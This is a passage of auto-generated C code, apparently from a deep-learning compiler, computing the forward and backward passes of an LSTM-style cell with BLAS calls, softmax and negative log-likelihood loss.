sizeof(float));;\nfor(int x391=0; x391 < 5; x391++) {\nfloat x392 = x386[x391];\nfloat x393 = x173[x391];\nfloat x394 = x392 + x393;\nx389[x391] = x394;\n\n}\nfloat* x398 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x399 = 0;\nint32_t x400 = 1;\nx400 *= 1;\nx400 *= 5;\nint32_t x403 = x399;\nbool x404 = x403 >= 2;\nif (x404) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x410 = x403 == 0;\nif (x410) {\nint32_t x411 = x400;\nbool x412 = x411 == 5;\nif (x412) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nfloat* x419 = (float*)myMalloc(1 * sizeof(float));;\nint32_t x420 = 0;\nfor(int x422=0; x422 < 1; x422++) {\nfloat x423 = -3.4028235E38f;\nfor(int x424=0; x424 < 5; x424++) {\nint32_t x425 = x420;\nfloat x426 = x389[x425];\nfloat x427 = x423;\nbool x428 = x426 > x427;\nif (x428) {\nfloat x429 = x389[x425];\nx423 = x429;\n} else {\n}\nx420 += 1;\n\n}\nfloat x436 = x423;\nx419[x422] = x436;\n\n}\nfloat* x440 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x441 = 0;\nfor(int x442=0; x442 < 1; x442++) {\nfor(int x443=0; x443 < 5; x443++) {\nint32_t x444 = x441;\nfloat x445 = x389[x444];\nfloat x446 = x419[x442];\nfloat x447 = x445 - x446;\ndouble x448 = (double)x447;\ndouble x449 = exp(x448);\nfloat x450 = (float)x449;\nx440[x444] = x450;\nx441 += 1;\n\n}\n\n}\nfloat* x457 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x458=0; x458 < 1; x458++) {\nint32_t x459 = x458;\nint32_t x460 = x458 * 5;\nint32_t x461 = x460;\nfor(int x462=0; x462 < 5; x462++) {\nfor(int x463=0; x463 < 1; x463++) {\nint32_t x464 = x459;\nint32_t x465 = x464 + x463;\nfloat x466 = x457[x465];\nint32_t x467 = x461;\nint32_t x468 = x467 + x463;\nfloat x469 = x440[x468];\nfloat x470 = x466 + x469;\nx457[x465] = x470;\n\n}\nx461 += 1;\n\n}\n\n}\nx441 = 0;\nfor(int x480=0; x480 < 1; x480++) {\nfloat x481 = x419[x480];\nfloat x482 = x457[x480];\ndouble x483 = (double)x482;\ndouble x484 = log(x483);\nfloat x485 = (float)x484;\nfloat x486 = x481 + x485;\nfor(int x487=0; x487 < 5; x487++) {\nint32_t x488 = x441;\nfloat x489 = x389[x488];\nfloat x490 = x489 - x486;\nx440[x488] = x490;\nx441 += 1;\n\n}\n\n}\nfloat* x497 = (float*)myMalloc(5 * sizeof(float));;\nint* x498 = x227+x248;\n// nllLoss forward in CPU\nfloat* x500 = (float*)myMalloc(1 * sizeof(float));;\nint32_t x501 = 0;\nfor(int x502=0; x502 < 1; x502++) {\nint32_t x503 = x501;\nint32_t x504 = x498[x502];\nint32_t x505 = x503 + x504;\nfloat x506 = x440[x505];\nfloat x507 = -1.0f * x506;\nx500[x502] = x507;\nx501 += 5;\n\n}\nfloat* x512 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x547 = (float**)myMalloc(6 * sizeof(float*));;\nx547[0] = x500;\nx547[1] = x512;\nx547[2] = x377;\nx547[3] = x385;\nx547[4] = x358;\nx547[5] = x366;\nx513(x547);\n// 'nllLossB' gradient.\n// nllLoss_grad implementation in CPU\nint32_t x557 = 0;\nfor(int x558=0; x558 < 1; x558++) {\nint32_t x559 = x557;\nint32_t x560 = x498[x558];\nint32_t x561 = x559 + x560;\nfloat x562 = x497[x561];\nfloat x563 = x512[x558];\nfloat x564 = -1.0f * x563;\nfloat x565 = x562 + x564;\nx497[x561] = x565;\nx557 += 5;\n\n}\nfloat* x570 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x571=0; x571 < 1; x571++) {\nint32_t x572 = x571;\nint32_t x573 = x571 * 5;\nint32_t x574 = x573;\nfor(int x575=0; x575 < 5; x575++) {\nfor(int x576=0; x576 < 1; x576++) {\nint32_t x577 = x572;\nint32_t x578 = x577 + x576;\nfloat x579 = x570[x578];\nint32_t x580 = x574;\nint32_t x581 = x580 + x576;\nfloat x582 = x497[x581];\nfloat x583 = x579 + x582;\nx570[x578] = x583;\n\n}\nx574 += 1;\n\n}\n\n}\nint32_t x592 = 0;\nfor(int x593=0; x593 < 1; x593++) {\nfor(int x594=0; x594 < 5; x594++) {\nint32_t x595 = x592;\nfloat x596 = x398[x595];\nfloat x597 = x497[x595];\nfloat x598 = x440[x595];\nfloat x602 = x570[x593];\ndouble x599 = (double)x598;\ndouble x600 = exp(x599);\nfloat x601 = (float)x600;\nfloat x603 = x601 * x602;\nfloat x604 = x597 - x603;\nfloat x605 = x596 + x604;\nx398[x595] = x605;\nx592 += 1;\n\n}\n\n}\n// back prop for + op\nfor(int x613=0; x613 < 5; x613++) {\nfloat x614 = x388[x613];\nfloat x615 = x386[x613];\nfloat x616 = x173[x613];\nfloat x617 = x398[x613];\nfloat x618 = x614 + x617;\nx388[x613] = x618;\nfloat x620 = x195[x613];\nfloat x621 = x386[x613];\nfloat x622 = x173[x613];\nfloat x623 = x398[x613];\nfloat x624 = x620 + x623;\nx195[x613] = x624;\n\n}\n// add_cartesian\nint32_t x629 = 0;\nfor(int x630=0; x630 < 5; x630++) {\nfor(int x631=0; x631 < 150; x631++) {\nint32_t x632 = x629;\nint32_t x633 = x632 + x631;\nfloat x634 = x194[x633];\nfloat x635 = x377[x631];\nfloat x636 = x388[x630];\nfloat x637 = x635 * x636;\nfloat x638 = x634 + x637;\nx194[x633] = x638;\n\n}\nx629 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 5,150,1,x164,150,x388,1,1,x385,1);\n// backprop for * op\nfor(int x647=0; x647 < 150; x647++) {\nfloat x648 = x335[x647];\nfloat x649 = x323[x647];\nfloat x650 = x367[x647];\nfloat x651 = x385[x647];\nfloat x652 = x651 * x650;\nfloat x653 = x648 + x652;\nx335[x647] = x653;\nfloat x655 = x376[x647];\nfloat x656 = x323[x647];\nfloat x657 = x367[x647];\nfloat x658 = x385[x647];\nfloat x659 = x658 * x656;\nfloat x660 = x655 + x659;\nx376[x647] = x660;\n\n}\nfor(int x664=0; x664 < 150; x664++) {\nfloat x665 = x366[x664];\nfloat x666 = x367[x664];\nfloat x669 = x376[x664];\nfloat x667 = x666 * x666;\nfloat x668 = 1.0f - x667;\nfloat x670 = x668 * x669;\nfloat x671 = x665 + x670;\nx366[x664] = x671;\n\n}\n// backprop for * op\nfor(int x676=0; x676 < 150; x676++) {\nfloat x677 = x310[x676];\nfloat x678 = x298[x676];\nfloat x679 = x348[x676];\nfloat x680 = x366[x676];\nfloat x681 = x680 * x679;\nfloat x682 = x677 + x681;\nx310[x676] = x682;\nfloat x684 = x357[x676];\nfloat x685 = x298[x676];\nfloat x686 = x348[x676];\nfloat x687 = x366[x676];\nfloat x688 = x687 * x685;\nfloat x689 = x684 + x688;\nx357[x676] = x689;\n\n}\nfor(int x693=0; x693 < 150; x693++) {\nfloat x694 = x347[x693];\nfloat x695 = x348[x693];\nfloat x698 = x357[x693];\nfloat x696 = x695 * x695;\nfloat x697 = 1.0f - x696;\nfloat x699 = x697 * x698;\nfloat x700 = x694 + x699;\nx347[x693] = x700;\n\n}\n// back prop for + op\nfor(int x705=0; x705 < 150; x705++) {\nfloat x706 = x338[x705];\nfloat x707 = x336[x705];\nfloat x708 = x78[x705];\nfloat x709 = x347[x705];\nfloat x710 = x706 + x709;\nx338[x705] = x710;\nfloat x712 = x179[x705];\nfloat x713 = x336[x705];\nfloat x714 = x78[x705];\nfloat x715 = x347[x705];\nfloat x716 = x712 + x715;\nx179[x705] = x716;\n\n}\n// add_cartesian\nint32_t x721 = 0;\nfor(int x722=0; x722 < 150; x722++) {\nfor(int x723=0; x723 < 300; x723++) {\nint32_t x724 = x721;\nint32_t x725 = x724 + x723;\nfloat x726 = x178[x725];\nfloat x727 = x283[x723];\nfloat x728 = x338[x722];\nfloat x729 = x727 * x728;\nfloat x730 = x726 + x729;\nx178[x725] = x730;\n\n}\nx721 += 300;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,300,1,x70,300,x338,1,1,x284,1);\nfor(int x738=0; x738 < 150; x738++) {\nfloat x739 = x322[x738];\nfloat x740 = x323[x738];\nfloat x743 = x335[x738];\nfloat x741 = 1.0f - x740;\nfloat x742 = x741 * x740;\nfloat x744 = x742 * x743;\nfloat x745 = x739 + x744;\nx322[x738] = x745;\n\n}\n// back prop for + op\nfor(int x750=0; x750 < 150; x750++) {\nfloat x751 = x313[x750];\nfloat x752 = x311[x750];\nfloat x753 = x69[x750];\nfloat x754 = x322[x750];\nfloat x755 = x751 + x754;\nx313[x750] = x755;\nfloat x757 = x177[x750];\nfloat x758 = x311[x750];\nfloat x759 = x69[x750];\nfloat x760 = x322[x750];\nfloat x761 = x757 + x760;\nx177[x750] = x761;\n\n}\n// add_cartesian\nint32_t x766 = 0;\nfor(int x767=0; x767 < 150; x767++) {\nfor(int x768=0; x768 < 300; x768++) {\nint32_t x769 = x766;\nint32_t x770 = x769 + x768;\nfloat x771 = x176[x770];\nfloat x772 = x283[x768];\nfloat x773 = x313[x767];\nfloat x774 = x772 * x773;\nfloat x775 = x771 + x774;\nx176[x770] = x775;\n\n}\nx766 += 300;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,300,1,x61,300,x313,1,1,x284,1);\nfor(int x783=0; x783 < 150; x783++) {\nfloat x784 = x297[x783];\nfloat x785 = x298[x783];\nfloat x788 = x310[x783];\nfloat x786 = 1.0f - x785;\nfloat x787 = x786 * x785;\nfloat x789 = x787 * x788;\nfloat x790 = x784 + x789;\nx297[x783] = x790;\n\n}\n// back prop for + op\nfor(int x795=0; x795 < 150; x795++) {\nfloat x796 = x287[x795];\nfloat x797 = x285[x795];\nfloat x798 = x60[x795];\nfloat x799 = x297[x795];\nfloat x800 = x796 + x799;\nx287[x795] = x800;\nfloat x802 = x175[x795];\nfloat x803 = x285[x795];\nfloat x804 = x60[x795];\nfloat x805 = x297[x795];\nfloat x806 = x802 + x805;\nx175[x795] = x806;\n\n}\n// add_cartesian\nint32_t x811 = 0;\nfor(int x812=0; x812 < 150; x812++) {\nfor(int x813=0; x813 < 300; x813++) {\nint32_t x814 = x811;\nint32_t x815 = x814 + x813;\nfloat x816 = x174[x815];\nfloat x817 = x283[x813];\nfloat x818 = x287[x812];\nfloat x819 = x817 * x818;\nfloat x820 = x816 + x819;\nx174[x815] = x820;\n\n}\nx811 += 300;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,300,1,x50,300,x287,1,1,x284,1);\n} else {\nfloat* x829 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x79,150,x263,1,0,x829,1);\nfloat* x831 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x832 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x88,150,x272,1,0,x832,1);\nfloat* x834 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x835 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x836=0; x836 < 150; x836++) {\nfloat x837 = x829[x836];\nfloat x838 = x832[x836];\nfloat x839 = x837 + x838;\nx835[x836] = x839;\n\n}\nfloat* x843 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x844 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x845=0; x845 < 150; x845++) {\nfloat x846 = x835[x845];\nfloat x847 = x96[x845];\nfloat x848 = x846 + x847;\nx844[x845] = x848;\n\n}\nfloat* x852 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x853 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x854=0; x854 < 150; x854++) {\nfloat x855 = x844[x854];\nfloat x856 = -1.0f * x855;\ndouble x857 = (double)x856;\ndouble x858 = exp(x857);\nfloat x859 = (float)x858;\nfloat x860 = x859 + 1.0f;\nfloat x861 = 1.0f / x860;\nx853[x854] = x861;\n\n}\nfloat* x865 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x866 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x97,150,x263,1,0,x866,1);\nfloat* x868 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x869 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x105,150,x272,1,0,x869,1);\nfloat* x871 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x872 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x873=0; x873 < 150; x873++) {\nfloat x874 = x866[x873];\nfloat x875 = x869[x873];\nfloat x876 = x874 + x875;\nx872[x873] = x876;\n\n}\nfloat* x880 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x881 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x882=0; x882 < 150; x882++) {\nfloat x883 = x872[x882];\nfloat x884 = x129[x882];\nfloat x885 = x883 + x884;\nx881[x882] = x885;\n\n}\nfloat* x889 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x890 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x891=0; x891 < 150; x891++) {\nfloat x892 = x881[x891];\nfloat x893 = -1.0f * x892;\ndouble x894 = (double)x893;\ndouble x895 = exp(x894);\nfloat x896 = (float)x895;\nfloat x897 = x896 + 1.0f;\nfloat x898 = 1.0f / x897;\nx890[x891] = x898;\n\n}\nfloat* x902 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x903 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x113,150,x263,1,0,x903,1);\nfloat* x905 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x906 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x121,150,x272,1,0,x906,1);\nfloat* x908 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x909 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x910=0; x910 < 150; x910++) {\nfloat x911 = x903[x910];\nfloat x912 = x906[x910];\nfloat x913 = x911 + x912;\nx909[x910] = x913;\n\n}\nfloat* x917 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x918 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x919=0; x919 < 150; x919++) {\nfloat x920 = x909[x919];\nfloat x921 = x129[x919];\nfloat x922 = x920 + x921;\nx918[x919] = x922;\n\n}\nfloat* x926 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x927 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x928=0; x928 < 150; x928++) {\nfloat x929 = x918[x928];\nfloat x930 = -1.0f * x929;\ndouble x931 = (double)x930;\ndouble x932 = exp(x931);\nfloat x933 = (float)x932;\nfloat x934 = x933 + 1.0f;\nfloat x935 = 1.0f / x934;\nx927[x928] = x935;\n\n}\nfloat* x939 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x940 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x130,150,x263,1,0,x940,1);\nfloat* x942 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x943 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x138,150,x272,1,0,x943,1);\nfloat* x945 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x946 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x947=0; x947 < 150; x947++) {\nfloat x948 = x940[x947];\nfloat x949 = x943[x947];\nfloat x950 = x948 + x949;\nx946[x947] = x950;\n\n}\nfloat* x954 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x955 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x956=0; x956 < 150; x956++) {\nfloat x957 = x946[x956];\nfloat x958 = x146[x956];\nfloat x959 = x957 + x958;\nx955[x956] = x959;\n\n}\nfloat* x963 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x964 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x965=0; x965 < 150; x965++) {\nfloat x966 = x955[x965];\nfloat x967 = -1.0f * x966;\ndouble x968 = (double)x967;\ndouble x969 = exp(x968);\nfloat x970 = (float)x969;\nfloat x971 = x970 + 1.0f;\nfloat x972 = 1.0f / x971;\nx964[x965] = x972;\n\n}\nfloat* x976 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x977 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x147,150,x263,1,0,x977,1);\nfloat* x979 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x980 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,150,1,x155,150,x272,1,0,x980,1);\nfloat* x982 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x983 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x984=0; x984 < 150; x984++) {\nfloat x985 = x977[x984];\nfloat x986 = x980[x984];\nfloat x987 = x985 + x986;\nx983[x984] = x987;\n\n}\nfloat* x991 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x992 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x993=0; x993 < 150; x993++) {\nfloat x994 = x983[x993];\nfloat x995 = x163[x993];\nfloat x996 = x994 + x995;\nx992[x993] = x996;\n\n}\nfloat* x1000 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1001 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1002=0; x1002 < 150; x1002++) {\nfloat x1003 = x992[x1002];\ndouble x1004 = (double)x1003;\ndouble x1005 = tanh(x1004);\nfloat x1006 = (float)x1005;\nx1001[x1002] = x1006;\n\n}\nfloat* x1010 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1011 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1012=0; x1012 < 150; x1012++) {\nfloat x1013 = x853[x1012];\nfloat x1014 = x1001[x1012];\nfloat x1015 = x1013 * x1014;\nx1011[x1012] = x1015;\n\n}\nfloat* x1019 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1020 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1021=0; x1021 < 150; x1021++) {\nfloat x1022 = x890[x1021];\nfloat x1023 = x265[x1021];\nfloat x1024 = x1022 * x1023;\nx1020[x1021] = x1024;\n\n}\nfloat* x1028 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1029 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1030=0; x1030 < 150; x1030++) {\nfloat x1031 = x1011[x1030];\nfloat x1032 = x1020[x1030];\nfloat x1033 = x1031 + x1032;\nx1029[x1030] = x1033;\n\n}\nfloat* x1037 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1038 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1039=0; x1039 < 150; x1039++) {\nfloat x1040 = x927[x1039];\nfloat x1041 = x274[x1039];\nfloat x1042 = x1040 * x1041;\nx1038[x1039] = x1042;\n\n}\nfloat* x1046 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1047 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1048=0; x1048 < 150; x1048++) {\nfloat x1049 = x1029[x1048];\nfloat x1050 = x1038[x1048];\nfloat x1051 = x1049 + x1050;\nx1047[x1048] = x1051;\n\n}\nfloat* x1055 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1056 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1057=0; x1057 < 150; x1057++) {\nfloat x1058 = x1047[x1057];\ndouble x1059 = (double)x1058;\ndouble x1060 = tanh(x1059);\nfloat x1061 = (float)x1060;\nx1056[x1057] = x1061;\n\n}\nfloat* x1065 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1066 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x1067=0; x1067 < 150; x1067++) {\nfloat x1068 = x964[x1067];\nfloat x1069 = x1056[x1067];\nfloat x1070 = x1068 * x1069;\nx1066[x1067] = x1070;\n\n}\nfloat* x1074 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x1075 = (float*)myMalloc(5 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 5,150,1,x164,150,x1066,1,0,x1075,1);\nfloat* x1077 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x1078 = (float*)myMalloc(5 * sizeof(float));;\nfor(int x1079=0; x1079 < 5; x1079++) {\nfloat x1080 = x1075[x1079];\nfloat x1081 = x173[x1079];\nfloat x1082 = x1080 + x1081;\nx1078[x1079] = x1082;\n\n}\nfloat* x1086 = (float*)myMalloc(5 * sizeof(float));;\nif (x1088) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfloat* x1094 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1095=0; x1095 < 1; x1095++) {\nfloat x1096 = x261[0];\nfloat x1097 = x270[0];\nfloat x1098 = x1096 + x1097;\nx1094[x1095] = x1098;\n\n}\nfloat* x1102 = (float*)myMalloc(1 * sizeof(float));;\nint32_t x1103 = 0;\nint32_t x1104 = 1;\nx1104 *= 1;\nx1104 *= 5;\nint32_t x1107 = x1103;\nbool x1108 = x1107 >= 2;\nif (x1108) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x1113 = x1107 == 0;\nif (x1113) {\nint32_t x1114 = x1104;\nbool x1115 = x1114 == 5;\nif (x1115) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nfloat* x1122 = (float*)myMalloc(1 * sizeof(float));;\nint32_t x1123 = 0;\nfor(int x1124=0; x1124 < 1; x1124++) {\nfloat x1125 = -3.4028235E38f;\nfor(int x1126=0; x1126 < 5; x1126++) {\nint32_t x1127 = x1123;\nfloat x1128 = x1078[x1127];\nfloat x1129 = x1125;\nbool x1130 = x1128 > x1129;\nif (x1130) {\nfloat x1131 = x1078[x1127];\nx1125 = x1131;\n} else {\n}\nx1123 += 1;\n\n}\nfloat x1138 = x1125;\nx1122[x1124] = x1138;\n\n}\nfloat* x1142 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x1143 = 0;\nfor(int x1144=0; x1144 < 1; x1144++) {\nfor(int x1145=0; x1145 < 5; x1145++) {\nint32_t x1146 = x1143;\nfloat x1147 = x1078[x1146];\nfloat x1148 = x1122[x1144];\nfloat x1149 = x1147 - x1148;\ndouble x1150 = (double)x1149;\ndouble x1151 = exp(x1150);\nfloat x1152 = (float)x1151;\nx1142[x1146] = x1152;\nx1143 += 1;\n\n}\n\n}\nfloat* x1159 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1160=0; x1160 < 1; x1160++) {\nint32_t x1161 = x1160;\nint32_t x1162 = x1160 * 5;\nint32_t x1163 = x1162;\nfor(int x1164=0; x1164 < 5; x1164++) {\nfor(int x1165=0; x1165 < 1; x1165++) {\nint32_t x1166 = x1161;\nint32_t x1167 = x1166 + x1165;\nfloat x1168 = x1159[x1167];\nint32_t x1169 = x1163;\nint32_t x1170 = x1169 + x1165;\nfloat x1171 = x1142[x1170];\nfloat x1172 = x1168 + x1171;\nx1159[x1167] = x1172;\n\n}\nx1163 += 1;\n\n}\n\n}\nx1143 = 0;\nfor(int x1182=0; x1182 < 1; x1182++) {\nfloat x1183 = x1122[x1182];\nfloat x1184 = x1159[x1182];\ndouble x1185 = (double)x1184;\ndouble x1186 = log(x1185);\nfloat x1187 = (float)x1186;\nfloat x1188 = x1183 + x1187;\nfor(int x1189=0; x1189 < 5; x1189++) {\nint32_t x1190 = x1143;\nfloat x1191 = x1078[x1190];\nfloat x1192 = x1191 - x1188;\nx1142[x1190] = x1192;\nx1143 += 1;\n\n}\n\n}\nfloat* x1199 = (float*)myMalloc(5 * sizeof(float));;\nint* x1200 = x227+x248;\n// nllLoss forward in CPU\nfloat* x1202 = (float*)myMalloc(1 * sizeof(float));;\nint32_t x1203 = 0;\nfor(int x1204=0; x1204 < 1; x1204++) {\nint32_t x1205 = x1203;\nint32_t x1206 = x1200[x1204];\nint32_t x1207 = x1205 + x1206;\nfloat x1208 = x1142[x1207];\nfloat x1209 = -1.0f * x1208;\nx1202[x1204] = x1209;\nx1203 += 5;\n\n}\nfloat* x1214 = (float*)myMalloc(1 * sizeof(float));;\nif (x1088) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfloat* x1219 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1220=0; x1220 < 1; x1220++) {\nfloat x1221 = x1094[0];\nfloat x1222 = x1202[0];\nfloat x1223 = x1221 + x1222;\nx1219[x1220] = x1223;\n\n}\nfloat* x1227 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x1262 = (float**)myMalloc(6 * sizeof(float*));;\nx1262[0] = x1219;\nx1262[1] = x1227;\nx1262[2] = x1066;\nx1262[3] = x1074;\nx1262[4] = x1047;\nx1262[5] = x1055;\nx1228(x1262);\n// back prop for + op\nif (x1088) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x1275=0; x1275 < 1; x1275++) {\nfloat x1276 = x1102[0];\nfloat x1277 = x1094[0];\nfloat x1278 = x1202[0];\nfloat x1279 = x1227[x1275];\nfloat x1280 = x1276 + x1279;\nx1102[0] = x1280;\nfloat x1282 = x1214[0];\nfloat x1283 = x1094[0];\nfloat x1284 = x1202[0];\nfloat x1285 = x1227[x1275];\nfloat x1286 = x1282 + x1285;\nx1214[0] = x1286;\n\n}\n// 'nllLossB' gradient.\n// nllLoss_grad implementation in CPU\nint32_t x1292 = 0;\nfor(int x1293=0; x1293 < 1; x1293++) {\nint32_t x1294 = x1292;\nint32_t x1295 = x1200[x1293];\nint32_t x1296 = x1294 + x1295;\nfloat x1297 = x1199[x1296];\nfloat x1298 = x1214[x1293];\nfloat x1299 = -1.0f * x1298;\nfloat x1300 = x1297 + x1299;\nx1199[x1296] = x1300;\nx1292 += 5;\n\n}\nfloat* x1305 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1306=0; x1306 < 1; x1306++) {\nint32_t x1307 = x1306;\nint32_t x1308 = x1306 * 5;\nint32_t x1309 = x1308;\nfor(int x1310=0; x1310 < 5; x1310++) {\nfor(int x1311=0; x1311 < 1; x1311++) {\nint32_t x1312 = x1307;\nint32_t x1313 = x1312 + x1311;\nfloat x1314 = x1305[x1313];\nint32_t x1315 = x1309;\nint32_t x1316 = x1315 + x1311;\nfloat x1317 = x1199[x1316];\nfloat x1318 = x1314 + x1317;\nx1305[x1313] = x1318;\n\n}\nx1309 += 1;\n\n}\n\n}\nint32_t x1327 = 0;\nfor(int x1328=0; x1328 < 1; x1328++) {\nfor(int x1329=0; x1329 < 5; x1329++) {\nint32_t x1330 = x1327;\nfloat x1331 = x1086[x1330];\nfloat x1332 = x1199[x1330];\nfloat x1333 = x1142[x1330];\nfloat x1337 = x1305[x1328];\ndouble x1334 = (double)x1333;\ndouble x1335 = exp(x1334);\nfloat x1336 = (float)x1335;\nfloat x1338 = x1336 * x1337;\nfloat x1339 = x1332 - x1338;\nfloat x1340 = x1331 + x1339;\nx1086[x1330] = x1340;\nx1327 += 1;\n\n}\n\n}\n// back prop for + op\nif (x1088) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x1352=0; x1352 < 1; x1352++) {\nfloat x1353 = x262[0];\nfloat x1354 = x261[0];\nfloat x1355 = x270[0];\nfloat x1356 = x1102[x1352];\nfloat x1357 = x1353 + x1356;\nx262[0] = x1357;\nfloat x1359 = x271[0];\nfloat x1360 = x261[0];\nfloat x1361 = x270[0];\nfloat x1362 = x1102[x1352];\nfloat x1363 = x1359 + x1362;\nx271[0] = x1363;\n\n}\n// back prop for + op\nfor(int x1368=0; x1368 < 5; x1368++) {\nfloat x1369 = x1077[x1368];\nfloat x1370 = x1075[x1368];\nfloat x1371 = x173[x1368];\nfloat x1372 = x1086[x1368];\nfloat x1373 = x1369 + x1372;\nx1077[x1368] = x1373;\nfloat x1375 = x195[x1368];\nfloat x1376 = x1075[x1368];\nfloat x1377 = x173[x1368];\nfloat x1378 = x1086[x1368];\nfloat x1379 = x1375 + x1378;\nx195[x1368] = x1379;\n\n}\n// add_cartesian\nint32_t x1384 = 0;\nfor(int x1385=0; x1385 < 5; x1385++) {\nfor(int x1386=0; x1386 < 150; x1386++) {\nint32_t x1387 = x1384;\nint32_t x1388 = x1387 + x1386;\nfloat x1389 = x194[x1388];\nfloat x1390 = x1066[x1386];\nfloat x1391 = x1077[x1385];\nfloat x1392 = x1390 * x1391;\nfloat x1393 = x1389 + x1392;\nx194[x1388] = x1393;\n\n}\nx1384 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 5,150,1,x164,150,x1077,1,1,x1074,1);\n// backprop for * op\nfor(int x1402=0; x1402 < 150; x1402++) {\nfloat x1403 = x976[x1402];\nfloat x1404 = x964[x1402];\nfloat x1405 = x1056[x1402];\nfloat x1406 = x1074[x1402];\nfloat x1407 = x1406 * x1405;\nfloat x1408 = x1403 + x1407;\nx976[x1402] = x1408;\nfloat x1410 = x1065[x1402];\nfloat x1411 = x964[x1402];\nfloat x1412 = x1056[x1402];\nfloat x1413 = x1074[x1402];\nfloat x1414 = x1413 * x1411;\nfloat x1415 = x1410 + 